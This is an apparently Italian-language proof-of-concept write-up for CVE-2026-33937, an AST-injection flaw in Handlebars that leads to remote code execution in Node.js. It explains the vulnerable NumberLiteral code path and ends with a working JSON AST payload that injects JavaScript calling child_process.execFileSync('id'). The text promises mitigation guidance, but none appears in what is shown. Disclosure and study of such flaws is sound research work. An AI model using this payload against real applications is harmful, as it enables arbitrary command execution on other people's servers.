
Proof-of-concept exploit per CVE-2026-33937, una vulnerabilità di iniezione AST in Handlebars che porta all'esecuzione remota di codice in Node.js. Dimostra payload AST appositamente costruiti e fornisce indicazioni di mitigazione.
CVE-2026-33937 è una vulnerabilità critica di Remote Code Execution (RCE) in Handlebars causata dalla gestione non sicura dell'input dell'Abstract Syntax Tree (AST).
La vulnerabilità consente agli attaccanti di iniettare codice JavaScript arbitrario fornendo un oggetto AST appositamente costruito a Handlebars.compile().
Handlebars.compile() accetta entrambi:
Quando viene fornito un oggetto AST, la fase di parsing viene saltata.
All'interno:
lib/handlebars/compiler/javascript-compiler.js
La funzione:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
inserisce direttamente number.value nel codice JavaScript generato , portando a un'iniezione di codice.
Attaccante → AST costruito (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (iniezione NumberLiteral)
│
▼
Generazione del codice
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}